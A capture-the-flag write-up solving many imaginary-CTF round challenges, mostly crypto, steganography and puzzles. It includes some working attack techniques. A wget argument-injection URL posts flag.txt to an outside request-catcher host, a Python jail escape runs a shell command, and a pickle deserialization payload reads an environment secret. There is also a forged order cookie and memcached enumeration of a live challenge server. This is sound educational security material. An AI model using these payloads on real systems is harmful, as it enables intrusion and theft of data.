[DEBUG] ("2496afc282c9b38cfe2548958f96412c" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("6a7765f73e5a30be3d4688836973c607" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("019d6a0657b51b41c5f18f804de08d32" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("d259b45fecd6b96581323974683f151b" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("e55081f304b2eff01ccd97d4c33dba10" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("5940e61cff9af530e32d49fd84ad142e" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("2c91e34c7b14993c3fc33901a456160d" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("f3ed2f888d0dfcc34e0d7405e672cc1d" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("fcf0f70fed89f487c55ca1ee877a2657" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("4b263aae9b50b105cbf87b86bc085125" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("b205f3eecbb529c754cc93ed62ed1c3f" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("f6d339fbd803235ddda8b7a23d5d6e33" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("2661ab16223ce875301a5ca3c32df862" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("396f4b9afe764b688d01cfc9267c4020" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("9ae6936d8af06891fbed2e0d33f15dda" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("91928360205ee5f1d5fd53b891914f97" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("5918964486b22c70044f84ea0e2ed428" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("e258440c35d69df4363c3493c5281ba9" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("3bb20a64d236fd7ddb3f0683625c21bc" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("407c596ba262e425166d95e3ec5cb539" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("9408d21bc34c9c3fed58139c23c9008d" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("e44a4e0783de7cef3a087dc5a13cf624" == "00000000000000000000000000000000") returned false. Authentication failed.
From this log, we see checks of hashes against 0, let’s try another PHP “magic hash” from https://github.com/spaze/hashes/blob/master/md5.md
Doing so gets us:
x0r
XOR is so secure!!!!!!!!!
Note: the ciphertext was base64 encoded after XOR encrypting.
AA4VARIWUQAmWB4+VgcdUhEMGwg+AVkcPkEXCh8YFx1fCB0XNg8UEzZAT1wmAAo+FAwNFAAQHRQ+BRAxDhAKChgTDh0XPgEWBAgVDgQLEi0OBh8KFBQ=
We know that the plaintext is (most likely) in the format ictf{.+}
, so we can use this to get the first 5 characters of the key by xor-ing with the ciphertext.
From this, we find that the key should start with “imagi”.
Write a script to iterate through words with this prefix, searching for a flag candidate:
import base64
import itertools
import string
ct = base64.b64decode("AA4VARIWUQAmWB4+VgcdUhEMGwg+AVkcPkEXCh8YFx1fCB0XNg8UEzZAT1wmAAo+FAwNFAAQHRQ+BRAxDhAKChgTDh0XPgEWBAgVDgQLEi0OBh8KFBQ=")
pt = "ictf{"
prefix = "".join(chr(c ^ ord(p)) for c, p in zip(ct, pt))
words = []
with open("/usr/share/dict/words") as f:
for line in f:
line = line.lower().strip()
if line.startswith(prefix):
words.append(line)
alphabet = string.ascii_letters + string.digits + string.punctuation
for key in words:
m = "".join(chr(c ^ ord(k)) for c, k in zip(ct, itertools.cycle(key)))
if m[-1] == "}" and all(c in alphabet for c in m[5:-1]):
print(m)
We get that the key is “imaginary” and that the flag is:
rsa-1
RSA is secure. I got huge primes.
n=107976370566754007356573222205875088638594990328557679028652819165400911164 54543806627552140043847166592539654603387759978024597334437963251125724411452 76090985493357117783159344384850750745620763308934871842218858075410210970555 21283023633454113061697504421624247039561548380114991995242501987403452670631 28043792093119061262860723168779311847757435748585331948019984575630959520477 42308149016603826376659188070388153914106460744521602563017596963241201048450 08937999617622607600407715963361698639871590001859863884736927529426416907782 78559514138060366028329194404923989012464287633011236187286545309259886957125 539
e=1
c=43354312152721953302610649982701092083980967018106851043253906557
e=1
so c = m^e mod n => c = m
if n > m
.
Decoding c
gets us:
HELP IM OUT OF IDEAS
What’s 1+1? Wrap your answer with ictf
…
Is your memory cached?
Port 22 is not exploitable. Please don’t attack it.
Also, please don’t modify or delete the flag in the server.
IP: 104.209.233.143
Maybe port 11XXX would be of your interest.
Let’s take the hint and try scanning the given IP with sudo nmap -sS -Pn -p 11000-11999 104.209.233.143
.
We get:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-14 10:42 MST
Nmap scan report for 104.209.233.143
Host is up (0.055s latency).
PORT STATE SERVICE
11211/tcp open memcache
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
Let’s connect to the port using netcat with nc 104.209.233.143 11211
.
This is a memcached server, so we need some way to enumerate the keys.
Quick search gives us this sequence:
stats items
STAT items:3:number 1
...
END
stats cachedump 3 1
ITEM valentineschallengeisawesome [55 b; 0 s]
END
get valentineschallengeisawesome
VALUE valentineschallengeisawesome 0 55
:4E7L?_f0E9b049c``0J_F0Hc?fb503Ff0E9b049c``0J_F0?bb5b5N
END
Was not familiar with this encoding, based on hint in server plus trying random stuff on Cyberchef, figured out that this is ROT47-encoded. Decoding gives us:
Cropped
My friend cropped a paper with a flag in it!
Can you recover it?
Inside the zip there are 100 PNG files named flag_N.png
.
Use ImageMagick to recombine them with montage -mode concatenate -tile 10x10 flag_*.png flag.png
![Cropped Challenge Output](/_astro/cropped.BYGZ5MeT_Z1llk2y.webp)
WGET
As promised, a web challenge.
This site is operating a “WGET UNOFFICIAL API” where you can append a ?wget=
query string parameter to have the server make a request for you.
Used Request Catcher to catch these requests and print their contents.
Confirmed using the provided URL that the server is making requests, and that the user agent is indeed wget.
Figured there might be some command injection here, so tried adding a --post-file=flag.txt
argument to the wget parameter:
http://104.209.233.143:41283/?wget=--post-file=flag.txt%20https://ictf.requestcatcher.com/
We see that a post request is made, and get:
What an enigma
My friend sent me this enigma. Can you get his secret?
The flag is not in ictf{*+} format.
Submit it without spaces and in lowercase.
HRHTR EPLOT BAQCN XURPT EDJ
Plug into CyberChef with the default enigma settings.
pyjail1
I heard you like pyjails, try this one! (flag is at flag.txt)
From the provided source code, we see that we have to escape a Python jail where all ASCII letters are blacklisted.
Searching the Python documentation for a hint as to how to approach this, found this note:
All identifiers are converted into the normal form NFKC while parsing; comparison of identifiers is based on NFKC.
Armed with this knowledge, let’s construct a payload to import the os
module and cat
our flag (could also just do print(open("flag.txt").read())
, but we can’t get a shell that way!)
We want to achieve __import__("os").system("cat flag.txt")
.
For the __import__
and system
identifiers, used a generator to come up with non-ASCII equivalents.
For the strings, encoded them using octal escapes.
Our final payload is:
__𝘪𝘮𝘱𝘰𝘳𝘵__("\157\163").𝘴𝘺𝘴𝘵𝘦𝘮("\143\141\164\040\146\154\141\147\056\164\170\164")
Sending this to the interpreter, we get:
Addictive RSA
I’m bad at creating descriptions.
Just do your best.
We are given some parameters for RSA plus the extra information that p + q = x
for a given constant x
.
The intended solution here I think is to compute φ(n) = (p - 1)(q - 1) = pq - p - q + 1 = n - x + 1
.
However, the quicker route for me was to copy the solve script from last round’s Weird RSA and input the new values.
Solving for p
and q
and plugging into RsaCtfTool, we get:
pie-sale
Do you like pies? Order a cherry pie on this buggy website.
Similar to cookie-sale and chocolate-sale, we can place an order but only for an apple pie.
Examining cookies, we have an order
cookie set to pie=apple
and a signature
cookie set to QmpmTEExVlFUQTVGdVNDYnxwaWU9YXBwbGU=
.
Base64 decoding the cookie, we see it decodes to BjfLA1VQTA5FuSCb|pie=apple
.
Let’s try setting pie=cherry
with the same prefix and re-encoding it.
Setting order
to pie=cherry
and signature
to QmpmTEExVlFUQTVGdVNDYnxwaWU9Y2hlcnJ5
gets us the flag:
What a cold day
You don’t need descriptions.
Have fun :)
aWN0ZntmYWszX2ZsNGd9CSAgICAgIAkgIAkgIAkgICAJICAgIAkgICAgIAkgICAJIAogICAgICAJ ICAgIAkgCSAgICAgICAJICAgICAJIAkgICAJICAgIAkgICAgCSAKICAgCSAgICAgIAkgICAgCSAJ ICAgCSAgICAgICAJICAJICAgICAgIAkgICAJICAgCiAgICAgIAkgICAgCSAgICAgCSAJICAgIAkg ICAgIAkJICAgCSAgICAgIAkgICAgIAogICAgICAgCSAgICAgCgoKCgoKaWN0ZntkdW1teV9mbDRn fQoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgppY3Rme24xYzNfZmw0Z30KCgoKCgoKCgoKCmljdGZ7 NHIzX3kwdV9zdDFsbF83cnlpbmdfbG9sfQoKCgoKCgoKCgoKCmljdGZ7eW91X211c3RfYmVfZmVl bGluZ19iYWRfdG9fc3VibWl0X3dlX2FsbH0KCgoKCgoKCgoKCgoKCmljdGZ7d2hhdF9zaG91bGRf YmVfdGhlX2NvcnJlY3RfZmxhZz99Cg==
Base64-decoded the output, see a bunch of (fake) flags.
Tried them all, got made fun of by Et3rnos .
base64 -d input | xxd
shows a bunch of whitespace at the end of the first flag.
Tried pulling this out and manipulating in Python, but then saw a hint that the title refers to a tool.
Found SNOW, compiled and ran against the decoded output.
HELP IM OUT OF IDEAS 2
Let n be the number of ways can I distribute 100 distinguishable balls in 4 distinguishable bins. What is n mod 10000000000000000000000? Wrap your answer in ictf.
python -c 'print(f"ictf{{{pow(4, 100, 10000000000000000000000)}}}")'
whirlwinds
Timmy was messing around with this image, but he went a bit too far! Could you help him recover the original image?
We are given this distorted image as an input:
![whirlwinds Challenge Input](/_astro/whirlwinds-in.D9swhRA3_Zc35OA.webp)
Let’s take this into GIMP and use Filters -> Distorts -> Whirl and Pinch to reveal the flag:
![whirlwinds Challenge Output](/_astro/whirlwinds-out.C7KoO4_v_2q4Hib.webp)
Manual Encryption
My friend send me something that looks like spammed letters.
ikyactwltnalfqpo{ntoorksuqlftjgjoooofejfikkedmvneigkaifmsoqq}
print("ikyactwltnalfqpo{ntoorksuqlftjgjoooofejfikkedmvneigkaifmsoqq}"[::4])
gives us:
You can Hide but you can’t run from me
I don’t really need descriptions are necessary. You can do it with the title.
The challenge input is here
![You can Hide but you can't run from me Challenge Input](/ictf-round-7-writeup/you-can-hide.jpg)
This is a steganography challenge, “Hide” is capitalized in the title, and we know it was made by Et3rnos by SSHing into Kali from his phone .
Let’s infer steghide
was used from this, and try stegseek and see what we get:
stegseek -wl rockyou.txt -sf GetImage.jpeg -xf out.txt
StegSeek version 0.5
Progress: 11.76% (16454477 bytes)
[i] --> Found passphrase: "doom"
[i] Original filename: "nice.txt"
[i] Extracting to "out.txt"
Examining the output, we get:
Reversed Addictive RSA
See Addictive RSA
Broken QR
This looks like a retangular qr code with no corner squares…
The challenge input is here
![Broken QR Challenge Input](/ictf-round-7-writeup/broken-qr.png)
Despite the text in the description, we note that this image has 24 “pixels” per row, and, viewing each row as 3 bytes, the topmost bit in every byte is 0. This indicates that this image might be ASCII characters converted to black and white pixels and packed into an image.
Wrote a script to decode this:
from PIL import Image
im = Image.open("chall.png").convert("1")
im = im.resize((im.width // 16, im.height // 16), Image.NEAREST)
s = ""
for y in range(im.height):
for x in range(0, im.width, 8):
b = 0
for i in range(8):
p = im.getpixel((x + i, y))
b |= (1 << (7 - i)) if not p else 0
s += chr(b)
print(s)
Decoding gives us:
Pickles for the win
My mom keeps telling me to eat my pickles.
Can you prove her they are not safe?
Website: https://pickle.et3rnos.repl.co/
Source: https://repl.it/@et3rnos/Pickle
Looking at the provided source, we see the server is a Flask app which unpickles a Base64-encoded user-provided string.
import pickle
from flask import Flask, request
from base64 import b64decode
#flag = os.getenv("FLAG")
app = Flask(__name__)
@app.route("/")
def Index():
pic = request.args.get("pickle")
try:
return pickle.loads(b64decode(pic))
except:
return "An error occured."
app.run("0.0.0.0", 8080)
Pickle is known to be unsafe, let’s construct a payload which will read the flag from the environment.
import base64
import pickle
class Exploit:
def __reduce__(self):
return eval, ("__import__('os').getenv('FLAG')",)
print(base64.b64encode(pickle.dumps(Exploit())))
Navigating to https://pickle.et3rnos.repl.co/?pickle=gASVOwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwfX19pbXBvcnRfXygnb3MnKS5nZXRlbnYoJ0ZMQUcnKZSFlFKULg== , we get:
Note: all exercise materials are the property of their respective authors, reproduced here for educational purposes.
Solutions and related code are covered by the license noted in the Terms of Use.